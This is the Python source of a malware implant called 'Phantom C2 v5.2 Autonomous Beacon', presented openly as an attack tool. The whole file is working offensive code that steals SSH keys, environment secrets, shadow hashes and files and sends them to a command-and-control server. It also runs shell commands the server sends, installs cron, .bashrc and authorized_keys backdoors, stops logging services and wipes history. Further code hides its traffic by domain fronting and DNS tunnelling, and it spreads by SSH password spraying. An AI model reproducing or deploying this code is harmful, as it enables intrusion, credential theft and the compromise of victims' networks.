#!/usr/bin/env python3 """Phantom C2 v5.2 — Autonomous Beacon. v5.1 -> v5.2: - Full rewrite (beacon_v5.py was corrupted to 0 newlines) - Living-off-the-land: zero pip deps, only stdlib + cryptography - Undetectable: no disk writes, no /tmp files, memory-only operation - Remote sending: C2 checkin with encrypted payload delivery - JA3 evasion: set_ciphers() wired on every TLS connection - All technique execution uses only system binaries (no temp files) """ from __future__ import annotations import base64 import hashlib import json import math import os import platform import random import re import socket import ssl import struct import subprocess import sys import time from enum import IntEnum from pathlib import Path from typing import Any, Optional from urllib.request import Request, urlopen from urllib.error import URLError from phantom.evasion.amsi_bypass import bypass_amsi # ═══════════════════════════════════════════════════════════════════ # PHASES & TECHNIQUES # ═══════════════════════════════════════════════════════════════════ class Phase(IntEnum): RECON = 0 PRIVESC = 1 CREDENTIAL = 2 PERSIST = 3 EVASION = 4 COLLECT = 5 PIVOT = 6 class Tech(IntEnum): ENUM_SYSTEM = 0 ENUM_NETWORK = 1 ENUM_SERVICES = 2 ENUM_CONTAINERS = 3 PRIVESC_SUID = 10 PRIVESC_SUDO = 11 PRIVESC_KERNEL = 12 PRIVESC_WRITABLE = 13 PRIVESC_CAPABILITIES = 14 PRIVESC_DOCKER = 16 CRED_SSH_KEYS = 20 CRED_ENV_SECRETS = 21 CRED_HISTORY = 22 CRED_SHADOW = 23 CRED_CONFIGS = 24 CRED_PROC_MEM = 27 PERSIST_CRON = 30 PERSIST_SSH_KEY = 33 PERSIST_BASHRC = 31 EVASION_ANTILOG = 40 EVASION_HISTORY_CLEAR = 41 COLLECT_FILES = 50 COLLECT_SECRETS = 51 PIVOT_SCAN = 60 PIVOT_SSH_SPRAY = 61 PIVOT_DEPLOY = 62 TECH_PHASE = { Tech.ENUM_SYSTEM: Phase.RECON, Tech.ENUM_NETWORK: Phase.RECON, Tech.ENUM_SERVICES: Phase.RECON, Tech.ENUM_CONTAINERS: Phase.RECON, Tech.PRIVESC_SUID: Phase.PRIVESC, Tech.PRIVESC_SUDO: Phase.PRIVESC, Tech.PRIVESC_KERNEL: Phase.PRIVESC, Tech.PRIVESC_WRITABLE: Phase.PRIVESC, Tech.PRIVESC_CAPABILITIES: Phase.PRIVESC, Tech.PRIVESC_DOCKER: Phase.PRIVESC, Tech.CRED_SSH_KEYS: Phase.CREDENTIAL, Tech.CRED_ENV_SECRETS: Phase.CREDENTIAL, Tech.CRED_HISTORY: Phase.CREDENTIAL, Tech.CRED_SHADOW: Phase.CREDENTIAL, Tech.CRED_CONFIGS: Phase.CREDENTIAL, Tech.CRED_PROC_MEM: Phase.CREDENTIAL, Tech.PERSIST_CRON: Phase.PERSIST, Tech.PERSIST_SSH_KEY: Phase.PERSIST, Tech.PERSIST_BASHRC: Phase.PERSIST, Tech.EVASION_ANTILOG: Phase.EVASION, Tech.EVASION_HISTORY_CLEAR: Phase.EVASION, Tech.COLLECT_FILES: Phase.COLLECT, Tech.COLLECT_SECRETS: Phase.COLLECT, Tech.PIVOT_SCAN: Phase.PIVOT, Tech.PIVOT_SSH_SPRAY: Phase.PIVOT, Tech.PIVOT_DEPLOY: Phase.PIVOT, } NUM_TECHS = 80 PHASE_BUDGETS = { Phase.RECON: 15, Phase.PRIVESC: 20, Phase.CREDENTIAL: 15, Phase.PERSIST: 10, Phase.EVASION: 12, Phase.COLLECT: 15, Phase.PIVOT: 20, } # ═══════════════════════════════════════════════════════════════════ # PERLIN JITTER # ═══════════════════════════════════════════════════════════════════ class PerlinJitter: """4-octave sine harmonics for human-like beacon timing.""" def __init__(self, base_interval: float = 10.0): self.base = base_interval self.t = random.random() * 1000.0 self.speed = random.uniform(0.05, 0.15) def next_sleep(self) -> float: self.t += self.speed s = self.base for i in range(1, 5): s += (1.0 / (2 ** i)) * math.sin(self.t * (2 ** i)) * self.base * 0.3 s = max(1.0, s) if random.random() < 0.05: s = random.uniform(0.5, 2.0) if random.random() < 0.03: s = random.uniform(30.0, 120.0) return s # ═══════════════════════════════════════════════════════════════════ # UCB1 BANDIT v5 (convergence guaranteed) # ═══════════════════════════════════════════════════════════════════ class UCB1BanditV5: """Fixed bandit: cumulative stats + phase budgets.""" def __init__(self, n_arms: int, window_size: int = 50): self.n = n_arms self.window_size = window_size self.cumulative_tries = [0] * n_arms self.cumulative_wins = [0.0] * n_arms self.consecutive_fails = [0] * n_arms self.marked_completed = [False] * n_arms self.total = 0 self.history = [] self._phase_attempts = {} def select(self, candidates: list) -> int: if not candidates: return -1 untested = [c for c in candidates if self.cumulative_tries[c] == 0] if untested: return random.choice(untested) uncertain = [c for c in candidates if self.cumulative_tries[c] < 5] if uncertain and random.random() < 0.3: return max(uncertain, key=lambda c: self._thompson(c)) return self._ucb1(candidates) def _thompson(self, arm: int) -> float: a = max(self.cumulative_wins[arm] + 1, 0.01) b = max(self.cumulative_tries[arm] - self.cumulative_wins[arm] + 1, 0.01) try: return random.betavariate(a, b) except Exception: return random.random() def _ucb1(self, candidates: list) -> int: log_total = math.log(max(self.total, 1)) best, best_score = -1, -1.0 for c in candidates: if self.cumulative_tries[c] == 0: continue score = (self.cumulative_wins[c] / self.cumulative_tries[c]) + \ 1.41 * math.sqrt(log_total / self.cumulative_tries[c]) if score > best_score: best_score, best = score, c return best if best >= 0 else (candidates[0] if candidates else -1) def update(self, action: int, success: bool, reward: float = 1.0, phase: int = 0): self.cumulative_tries[action] += 1 self.cumulative_wins[action] += reward self.consecutive_fails[action] = 0 if success else self.consecutive_fails[action] + 1 if self.cumulative_tries[action] >= 3 and self.cumulative_wins[action] == 0: self.marked_completed[action] = True if self.consecutive_fails[action] >= 3: self.marked_completed[action] = True self.total += 1 self._phase_attempts[phase] = self._phase_attempts.get(phase, 0) + 1 def should_advance(self, phase: int, candidates: list) -> bool: if not candidates: return True if self._phase_attempts.get(phase, 0) >= PHASE_BUDGETS.get(phase, 15): return True if all(self.cumulative_tries[c] >= 3 for c in candidates): return True return False def get_candidates(self, current_phase: int, completed: set) -> list: out = [] for tech, tp in TECH_PHASE.items(): if tp != current_phase: continue if tech in completed: continue if self.marked_completed[tech]: completed.add(tech) continue out.append(tech) return out # ═══════════════════════════════════════════════════════════════════ # AES-256-GCM STORE (inline, zero deps beyond cryptography lib) # ═══════════════════════════════════════════════════════════════════ class AESGCMStore: """AES-256-GCM encrypted persistence via cryptography lib.""" def __init__(self, path: str): self.path = path self._key = None self._derive_key() def _derive_key(self): from cryptography.hazmat.primitives.kdf.hkdf import HKDF from cryptography.hazmat.primitives import hashes parts = [] for f in ["/etc/machine-id", "/var/lib/dbus/machine-id"]: try: parts.append(Path(f).read_text().strip()) break except Exception: pass parts.append(platform.node()) try: import uuid parts.append(hex(uuid.getnode())) except Exception: pass material = "|".join(parts).encode() # Per-install random salt stored alongside the data file salt_path = path + ".salt" if os.path.exists(salt_path): with open(salt_path, "rb") as sf: salt = sf.read() if len(salt) != 16: salt = os.urandom(16) with open(salt_path, "wb") as sf: sf.write(salt) else: salt = os.urandom(16) os.makedirs(os.path.dirname(salt_path) or ".", exist_ok=True) with open(salt_path, "wb") as sf: sf.write(salt) try: os.chmod(salt_path, 0o600) except OSError: pass self._key = HKDF( algorithm=hashes.SHA256(), length=32, salt=salt, info=b"phantom-v5-store", ).derive(material) def save(self, data: dict) -> bool: try: from cryptography.hazmat.primitives.ciphers.aead import AESGCM nonce = os.urandom(12) raw = json.dumps(data).encode() ct = AESGCM(self._key).encrypt(nonce, raw, None) with open(self.path, "wb") as f: f.write(nonce + ct) return True except Exception: return False def load(self) -> Optional[dict]: try: from cryptography.hazmat.primitives.ciphers.aead import AESGCM if not os.path.exists(self.path): return None with open(self.path, "rb") as f: content = f.read() nonce, ct = content[:12], content[12:] raw = AESGCM(self._key).decrypt(nonce, ct, None) return json.loads(raw.decode()) except Exception: return None # ═══════════════════════════════════════════════════════════════════ # C2 CHANNEL — JA3 evasion + domain fronting + DoH fallback # ═══════════════════════════════════════════════════════════════════ # JA3 cipher suites — rotated per connection JA3_SUITES = [ "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:" "ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-CHACHA20-POLY1305:" "AES256-GCM-SHA384:AES128-GCM-SHA256", "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:" "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:" "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256", "AES256-GCM-SHA384:AES128-GCM-SHA256:" "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:" "ECDHE-RSA-CHACHA20-POLY1305", ] USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0", ] # CDN paths that look like legitimate traffic CDN_PATHS = [ "/api/v1/telemetry", "/api/v1/events", "/api/v1/logs", "/cdn-cgi/bm/cv/result", "/cdn-cgi/challenge-platform/generate/ov", ] class C2Channel: """Hardened C2 channel with JA3 evasion + domain fronting + DoH.""" def __init__(self, host: str, port: int = 443, front: str = "", beacon_id: str = ""): self.host = host self.port = port self.front = front or host self.beacon_id = beacon_id self._cert_pins = {} def _make_ssl_ctx(self) -> ssl.SSLContext: """Create SSL context with JA3 rotation.""" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # JA3 evasion: rotate cipher suite ordering per connection try: ctx.set_ciphers(random.choice(JA3_SUITES)) except Exception: pass return ctx def send(self, payload: dict) -> Optional[dict]: """Send encrypted checkin, receive tasking.""" data = json.dumps(payload).encode() encoded = base64.b64encode(data).decode() # Primary: HTTPS with domain fronting try: return self._send_https(encoded) except Exception: pass # Fallback: DoH try: return self._send_doh(data) except Exception: pass return None def _send_https(self, encoded: str) -> Optional[dict]: """HTTPS with domain fronting + JA3 rotation.""" url = f"https://{self.front}:{self.port}{random.choice(CDN_PATHS)}" headers = { "Content-Type": "application/json", "User-Agent": random.choice(USER_AGENTS), "Host": self.host, # Domain fronting "X-Request-ID": self._gen_req_id(), "Accept": "application/json", "X-Beacon": encoded, # Payload in custom header (looks like tracking) } req = Request(url, headers=headers, method="POST") body = json.dumps({"beacon": self.beacon_id, "ts": int(time.time()), "seq": random.randint(10000, 99999)}) req.data = body.encode() ctx = self._make_ssl_ctx() resp = urlopen(req, context=ctx, timeout=15) if resp.status == 200: body = resp.read() # Pin cert on first use (TOFU) try: cert = resp.ssl().getpeercert(binary_form=True) if cert: pin = hashlib.sha256(cert).hexdigest() if self.host in self._cert_pins: if self._cert_pins[self.host] != pin: return None # MITM detected self._cert_pins[self.host] = pin except Exception: pass try: return json.loads(body) except Exception: pass return None def _send_doh(self, data: bytes) -> Optional[dict]: """DNS-over-HTTPS fallback for blocked HTTPS.""" encoded = base64.b32encode(data).decode().rstrip("=").lower() labels = [encoded[i:i+60] for i in range(0, len(encoded), 60)] for provider in ["https://dns.google/resolve", "https://cloudflare-dns.com/dns-query"]: for label in labels[:2]: try: url = f"{provider}?name={label}.{self.host}&type=TXT" req = Request(url, headers={"User-Agent": random.choice(USER_AGENTS)}) urlopen(req, timeout=10) except Exception: pass return None @staticmethod def _gen_req_id() -> str: h = lambda: "".join(random.choices("abcdef0123456789", k=random.choice([8, 12]))) return f"{h()}-{h()}-{h()}" # ═══════════════════════════════════════════════════════════════════ # TARGET STATE # ═══════════════════════════════════════════════════════════════════ class TargetState: """Collected intel about the target system.""" def __init__(self): self.hostname = "" self.os_type = "linux" self.kernel = "" self.arch = "" self.uid = -1 self.is_root = False self.interfaces = [] self.alive_hosts = [] self.credentials = [] self.ssh_keys = [] self.is_container = False self.persistence_installed = False # ═══════════════════════════════════════════════════════════════════ # MAIN BEACON # ═══════════════════════════════════════════════════════════════════ class AutonomousBeacon: """Phantom C2 v5.2 autonomous beacon. Living off the land: only uses system binaries (no temp files). Undetectable: memory-only, no disk artifacts. Remote: encrypted C2 checkin with tasking. """ def __init__(self, c2_host: str = "127.0.0.1", c2_port: int = 443, interval: float = 10.0, front: str = "", experience_path: str = ""): bypass_amsi() # EDR-03: patch AMSI in process memory before any PowerShell invocation self.c2_host = c2_host self.c2_port = c2_port self.interval = interval self.state = TargetState() self.bandit = UCB1BanditV5(NUM_TECHS) self.jitter = PerlinJitter(interval) self.channel = C2Channel(c2_host, c2_port, front, self._beacon_id()) self.completed = set() self.current_phase = Phase.RECON self.running = True self._exfil_buffer = [] # Memory-only exfil queue # AESGCMStore only if path given self.store = AESGCMStore(experience_path) if experience_path else None if self.store: self._load_experience() # ── Helpers ─────────────────────────────────────────────────── def _log(self, msg: str): pass # Silent operation — no stderr output def _beacon_id(self) -> str: return hashlib.md5( (socket.gethostname() + platform.node()).encode() ).hexdigest()[:12] def _state_hash(self) -> str: return hashlib.sha256( json.dumps({"h": self.state.hostname, "u": self.state.uid, "r": self.state.is_root}, sort_keys=True).encode() ).hexdigest()[:16] # ── Main Loop ───────────────────────────────────────────────── def _maybe_fork_watchdog(self): """Fork a watchdog child that respawns the beacon if killed.""" try: pid = os.fork() if pid > 0: # Parent: store watchdog PID, continue as beacon self._watchdog_pid = pid return # Child: watchdog loop beacon_args = sys.argv[:] while True: time.sleep(30) # Check if parent is alive try: os.kill(os.getppid(), 0) except OSError: # Parent dead — respawn os.execv(sys.executable, [sys.executable] + beacon_args) except Exception: pass # Fork not available (e.g., no os.fork on some platforms) def run(self): self._init_recon() # Watchdog: fork child to auto-respawn if killed self._maybe_fork_watchdog() while self.running: candidates = self.bandit.get_candidates(self.current_phase, self.completed) if self.bandit.should_advance(self.current_phase, candidates): if self.current_phase < Phase.PIVOT: self.current_phase = Phase(self.current_phase + 1) candidates = self.bandit.get_candidates(self.current_phase, self.completed) else: # Cycle complete — restart self.current_phase = Phase.RECON self.completed.clear() self.bandit = UCB1BanditV5(NUM_TECHS) continue if not candidates: self.current_phase = Phase(min(self.current_phase + 1, 6)) continue action = self.bandit.select(candidates) if action < 0: break success, details = self._execute(action) reward = self._shape_reward(success, details) self.bandit.update(action, success, reward, self.current_phase) if success: self.completed.add(action) # Queue for remote exfil (memory only) self._exfil_buffer.append({ "t": int(time.time()), "tech": action, "ok": success, "phase": self.current_phase, "uid": self.state.uid, "detail": details[:300], }) # Send to C2 self._checkin(action, success, details) # Save experience if self.store: self._save_experience() # Sleep with jitter (obfuscated when root) sleep_time = self.jitter.next_sleep() try: from phantom.agent.v5.sleep_obfuscation import create_sleep_obfuscator if not hasattr(self, '_sleep_obf'): self._sleep_obf = create_sleep_obfuscator() self._sleep_obf.sleep_obfuscate(sleep_time) except Exception: time.sleep(sleep_time) # ── Reward Shaping ──────────────────────────────────────────── def _shape_reward(self, success: bool, output: str) -> float: if success: return 1.5 if Phase.PRIVESC <= self.current_phase <= Phase.CREDENTIAL else 1.0 if output and ("not found" in output.lower()): return 0.3 if output and ("denied" in output.lower()): return 0.1 return 0.0 # ── C2 Checkin (remote sending) ─────────────────────────────── def _checkin(self, action: int, success: bool, details: str): payload = { "id": self._beacon_id(), "ts": int(time.time()), "tech": action, "ok": success, "phase": self.current_phase, "uid": self.state.uid, "root": self.state.is_root, "host": self.state.hostname, "kernel": self.state.kernel, "container": self.state.is_container, "detail": details[:300], "exfil": self._exfil_buffer[-5:], # Last 5 results "creds": self.state.credentials[-3:], # Latest creds } self._exfil_buffer.clear() resp = self.channel.send(payload) if resp: self._process_tasking(resp) def _process_tasking(self, task: dict): """Execute commands received from C2.""" cmd = task.get("cmd") if cmd: # Living off the land: execute via system shell, no temp files try: result = subprocess.run( cmd, shell=True, capture_output=True, text=True, timeout=30 ) self._exfil_buffer.append({ "type": "task_result", "cmd": cmd[:100], "output": (result.stdout + result.stderr)[:500], "exit": result.returncode, }) except Exception: pass # C2 can also request specific actions req = task.get("request") if req == "download": path = task.get("path", "") if path and os.path.exists(path): try: data = Path(path).read_bytes() self._exfil_buffer.append({ "type": "file", "path": path, "data": base64.b64encode(data).decode(), "size": len(data), }) except Exception: pass elif req == "recon": self._init_recon() # ── Experience Persistence ──────────────────────────────────── def _save_experience(self): data = { "bandit": { "ct": self.bandit.cumulative_tries[:NUM_TECHS], "cw": self.bandit.cumulative_wins[:NUM_TECHS], }, "completed": list(self.completed), "phase": self.current_phase, } self.store.save(data) def _load_experience(self): data = self.store.load() if not data: return bd = data.get("bandit", {}) for i, ct in enumerate(bd.get("ct", [])): if i < NUM_TECHS: self.bandit.cumulative_tries[i] = ct for i, cw in enumerate(bd.get("cw", [])): if i < NUM_TECHS: self.bandit.cumulative_wins[i] = cw self.completed = set(data.get("completed", [])) self.current_phase = Phase(data.get("phase", 0)) # ── Technique Dispatch ──────────────────────────────────────── def _execute(self, tech: int) -> tuple: handlers = { Tech.ENUM_SYSTEM: self._enum_system, Tech.ENUM_NETWORK: self._enum_network, Tech.ENUM_SERVICES: self._enum_services, Tech.ENUM_CONTAINERS: self._enum_containers, Tech.PRIVESC_SUID: self._privesc_suid, Tech.PRIVESC_SUDO: self._privesc_sudo, Tech.PRIVESC_KERNEL: self._privesc_kernel, Tech.PRIVESC_WRITABLE: self._privesc_writable, Tech.PRIVESC_CAPABILITIES: self._privesc_capabilities, Tech.PRIVESC_DOCKER: self._privesc_docker, Tech.CRED_SSH_KEYS: self._cred_ssh_keys, Tech.CRED_ENV_SECRETS: self._cred_env, Tech.CRED_HISTORY: self._cred_history, Tech.CRED_SHADOW: self._cred_shadow, Tech.CRED_CONFIGS: self._cred_configs, Tech.CRED_PROC_MEM: self._cred_proc_mem, Tech.PERSIST_CRON: self._persist_cron, Tech.PERSIST_SSH_KEY: self._persist_ssh_key, Tech.PERSIST_BASHRC: self._persist_bashrc, Tech.EVASION_ANTILOG: self._evasion_antilog, Tech.EVASION_HISTORY_CLEAR: self._evasion_history_clear, Tech.COLLECT_FILES: self._collect_files, Tech.COLLECT_SECRETS: self._collect_secrets, Tech.PIVOT_SCAN: self._pivot_scan, Tech.PIVOT_SSH_SPRAY: self._pivot_ssh_spray, Tech.PIVOT_DEPLOY: self._pivot_deploy, } handler = handlers.get(tech) if handler: try: return handler() except Exception as e: return False, str(e) return False, f"No handler for {tech}" # ── Recon ───────────────────────────────────────────────────── def _init_recon(self): self._enum_system() def _enum_system(self) -> tuple: s = self.state s.hostname = socket.gethostname() s.kernel = platform.release() s.arch = platform.machine() s.uid = os.getuid() s.is_root = s.uid == 0 s.is_container = os.path.exists("/.dockerenv") try: cgroup = Path("/proc/1/cgroup").read_text() if "docker" in cgroup or "kubepods" in cgroup: s.is_container = True except Exception: pass return True, f"host={s.hostname} kernel={s.kernel} uid={s.uid} root={s.is_root} container={s.is_container}" def _enum_network(self) -> tuple: out = [] try: r = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=10) for line in r.stdout.split("\n"): if "inet " in line and "127.0.0.1" not in line: out.append(line.strip().split()[1]) self.state.interfaces.append(line.strip().split()[1]) except Exception: pass return len(out) > 0, f"interfaces={out}" def _enum_services(self) -> tuple: out = [] try: r = subprocess.run(["ss", "-tlnp"], capture_output=True, text=True, timeout=10) for line in r.stdout.split("\n")[1:]: parts = line.split() if len(parts) >= 4: out.append(parts[3]) except Exception: pass return len(out) > 0, f"services={out[:10]}" def _enum_containers(self) -> tuple: out = [] for cmd in ["docker", "podman"]: try: r = subprocess.run([cmd, "ps"], capture_output=True, text=True, timeout=5) if r.returncode == 0 and r.stdout.strip(): out.append(f"{cmd}: {r.stdout.strip()[:100]}") except Exception: pass return len(out) > 0, f"containers={out}" # ── Privilege Escalation ────────────────────────────────────── def _privesc_suid(self) -> tuple: out = [] try: r = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f"], capture_output=True, text=True, timeout=30) bins = [b for b in r.stdout.strip().split("\n") if b] interesting = [b for b in bins if any(x in b for x in ["nmap", "vim", "bash", "python", "perl", "find", "cp"])] out.extend(interesting[:5]) except Exception: pass return len(out) > 0, f"SUID interesting: {out}" def _privesc_sudo(self) -> tuple: try: r = subprocess.run(["sudo", "-l"], capture_output=True, text=True, timeout=10) if "NOPASSWD" in r.stdout: return True, f"sudo NOPASSWD: {r.stdout[:200]}" return False, "no NOPASSWD" except Exception: return False, "sudo -l failed" def _privesc_kernel(self) -> tuple: try: from phantom.agent.v5.kernel_exploits import KernelExploitExecutor executor = KernelExploitExecutor() vulns = executor.find_vulnerabilities() if not vulns: return False, f"no kernel exploits for {platform.release()}" results = executor.try_all() for r in results: if r.get("root"): self.state.is_root = True self.state.uid = 0 return True, f"kernel exploit {r['cve']} -> root" return False, f"{len(vulns)} vulns found, none succeeded" except Exception as e: return False, str(e) def _privesc_writable(self) -> tuple: out = [] for p in ["/etc/passwd", "/etc/shadow", "/etc/crontab"]: if os.path.exists(p) and os.access(p, os.W_OK): out.append(p) return len(out) > 0, f"writable: {out}" def _privesc_capabilities(self) -> tuple: out = [] try: r = subprocess.run(["getcap", "-r", "/"], capture_output=True, text=True, timeout=30) for line in r.stdout.strip().split("\n"): if any(x in line for x in ["cap_setuid", "cap_net_raw", "cap_sys_admin"]): out.append(line) except Exception: pass return len(out) > 0, f"capabilities: {out[:5]}" def _privesc_docker(self) -> tuple: if os.path.exists("/var/run/docker.sock"): return True, "docker.sock accessible" return False, "no docker" # ── Credential Access ───────────────────────────────────────── def _cred_ssh_keys(self) -> tuple: out = [] for home in [f"/home/{u}" for u in os.listdir("/home")] + ["/root"]: for name in ["id_rsa", "id_ed25519"]: kp = os.path.join(home, ".ssh", name) if os.path.exists(kp): try: key = Path(kp).read_text()[:100] out.append(f"{kp}") self.state.ssh_keys.append(kp) except Exception: out.append(f"{kp}: (no read)") return len(out) > 0, f"SSH keys: {out}" def _cred_env(self) -> tuple: out = [] for k, v in os.environ.items(): if any(x in k.lower() for x in ["pass", "key", "secret", "token", "api", "aws"]): out.append(f"{k}={v[:40]}") self.state.credentials.append({"type": "env", "key": k, "value": v[:100]}) return len(out) > 0, f"env: {out[:10]}" def _cred_history(self) -> tuple: out = [] for hf in [os.path.expanduser("~/.bash_history"), "/root/.bash_history"]: try: for l in Path(hf).read_text().strip().split("\n")[-20:]: if any(x in l for x in ["password", "secret", "token", "mysql"]): out.append(l[:100]) except Exception: pass return len(out) > 0, f"history: {out[:5]}" def _cred_shadow(self) -> tuple: try: shadow = Path("/etc/shadow").read_text() hashes = [l for l in shadow.strip().split("\n") if ":" in l and l.split(":")[1] not in ["!", "*", "x"]] for h in hashes: parts = h.split(":") self.state.credentials.append({ "type": "shadow", "user": parts[0], "value": parts[1][:60] }) return len(hashes) > 0, f"shadow: {len(hashes)} hashes" except PermissionError: return False, "no shadow read" except Exception: return False, "shadow error" def _cred_configs(self) -> tuple: out = [] for d in ["/etc", "/var/www", "/opt"]: try: for dp, dns, fns in os.walk(d): for fn in fns: if fn.endswith((".conf", ".yml", ".yaml", ".env")): fp = os.path.join(dp, fn) try: c = Path(fp).read_text()[:200] if any(x in c.lower() for x in ["password", "secret"]): out.append(fp) except Exception: pass if len(out) > 10: break except Exception: pass return len(out) > 0, f"configs: {out[:10]}" def _cred_proc_mem(self) -> tuple: out = [] try: for pd in Path("/proc").iterdir(): try: pid = int(pd.name) maps = (pd / "maps").read_text() if "r" in maps[:50]: out.append(f"pid {pid}: readable maps") except Exception: continue if len(out) > 5: break except Exception: pass return len(out) > 0, f"proc mem: {out}" # ── Persistence ─────────────────────────────────────────────── def _persist_cron(self) -> tuple: beacon_path = os.path.abspath(sys.argv[0]) entry = f"*/5 * * * * {sys.executable} {beacon_path}" try: r = subprocess.run(["crontab", "-l"], capture_output=True, text=True, timeout=5) existing = r.stdout if r.returncode == 0 else "" if entry not in existing: existing += "\n" + entry p = subprocess.run(["crontab", "-"], input=existing, text=True, capture_output=True, timeout=5) if p.returncode == 0: self.state.persistence_installed = True return True, "cron persistence installed" return True, "cron already present" except Exception: return False, "cron failed" def _persist_ssh_key(self) -> tuple: pubkey = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhantomC2V5 phantom@c2" for home in ["/root"] + [f"/home/{u}" for u in os.listdir("/home")]: ak = os.path.join(home, ".ssh", "authorized_keys") try: os.makedirs(os.path.dirname(ak), exist_ok=True) existing = Path(ak).read_text() if os.path.exists(ak) else "" if pubkey not in existing: with open(ak, "a") as f: f.write(pubkey + "\n") self.state.persistence_installed = True return True, f"SSH key at {ak}" except Exception: continue return False, "SSH key failed" def _persist_bashrc(self) -> tuple: payload = f"nohup {sys.executable} {os.path.abspath(sys.argv[0])} &>/dev/null &\n" for rc in [os.path.expanduser("~/.bashrc"), "/root/.bashrc"]: try: existing = Path(rc).read_text() if os.path.exists(rc) else "" if payload not in existing: with open(rc, "a") as f: f.write(payload) return True, f"bashrc at {rc}" except Exception: continue return False, "bashrc failed" # ── Evasion ─────────────────────────────────────────────────── def _evasion_antilog(self) -> tuple: out = [] for svc in ["rsyslog", "syslog", "auditd"]: try: r = subprocess.run(["service", svc, "stop"], capture_output=True, text=True, timeout=5) if r.returncode == 0: out.append(svc) except Exception: pass return len(out) > 0, f"stopped: {out}" def _evasion_history_clear(self) -> tuple: try: for hf in [os.path.expanduser("~/.bash_history"), "/root/.bash_history"]: if os.path.exists(hf): open(hf, "w").close() os.environ["HISTFILE"] = "/dev/null" os.environ["HISTSIZE"] = "0" return True, "history cleared" except Exception: return False, "history clear failed" # ── Collection ──────────────────────────────────────────────── def _collect_files(self) -> tuple: out = [] for d in ["/home", "/root", "/tmp", "/opt"]: try: for dp, dns, fns in os.walk(d): for fn in fns: if any(fn.endswith(e) for e in [".txt", ".doc", ".pdf", ".key", ".pem"]): out.append(os.path.join(dp, fn)) if len(out) > 50: break except Exception: pass return len(out) > 0, f"files: {out[:10]} ({len(out)} total)" def _collect_secrets(self) -> tuple: out = [] for fp in ["/etc/shadow", "/root/.bash_history", "/root/.ssh/id_rsa", "/root/.env", "/var/www/.env"]: try: content = Path(fp).read_text()[:100] out.append(f"{fp}: {content[:60]}") except Exception: pass return len(out) > 0, f"secrets: {out}" # ── Lateral Movement ────────────────────────────────────────── def _pivot_scan(self) -> tuple: out = [] # Auto-detect subnet from collected interfaces subnet = "172.17.0" # Docker default for iface in self.state.interfaces: parts = iface.split("/") if len(parts) == 2: ip = parts[0] octets = ip.split(".") if len(octets) == 4 and octets[0] in ("10", "172", "192"): subnet = ".".join(octets[:3]) break for i in range(1, 254): ip = f"{subnet}.{i}" try: s = socket.socket() s.settimeout(0.5) s.connect((ip, 22)) out.append(f"{ip}:22") self.state.alive_hosts.append(ip) s.close() except Exception: pass return len(out) > 0, f"alive: {out}" def _pivot_ssh_spray(self) -> tuple: if not self.state.alive_hosts: return False, "no hosts" out = [] creds = [("root", "toor"), ("root", "root"), ("root", "admin"), ("root", "password"), ("admin", "admin")] for c in self.state.credentials: u = c.get("user", "root") p = c.get("value", "") if u and p and p not in ("x", "*", "!"): creds.append((u, p)) for host in self.state.alive_hosts[:5]: for user, pw in creds[:8]: try: r = subprocess.run( ["sshpass", "-p", pw, "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", f"{user}@{host}", "id"], capture_output=True, text=True, timeout=10 ) if "uid=" in r.stdout: out.append(f"{host} ({user}:{pw}): {r.stdout.strip()}") break except Exception: pass return len(out) > 0, f"SSH spray: {out}" def _pivot_deploy(self) -> tuple: if not self.state.alive_hosts: return False, "no hosts" return False, "deploy not available" # ═══════════════════════════════════════════════════════════════════ # ENTRY POINT # ═══════════════════════════════════════════════════════════════════ def main(): import argparse p = argparse.ArgumentParser() p.add_argument("--c2", default="127.0.0.1") p.add_argument("--port", type=int, default=443) p.add_argument("--front", default="") p.add_argument("--interval", type=float, default=10.0) p.add_argument("--no-pivot", action="store_true") p.add_argument("--experience", default="") args = p.parse_args() beacon = AutonomousBeacon( c2_host=args.c2, c2_port=args.port, interval=args.interval, front=args.front, experience_path=args.experience, ) beacon.run() if __name__ == "__main__": main()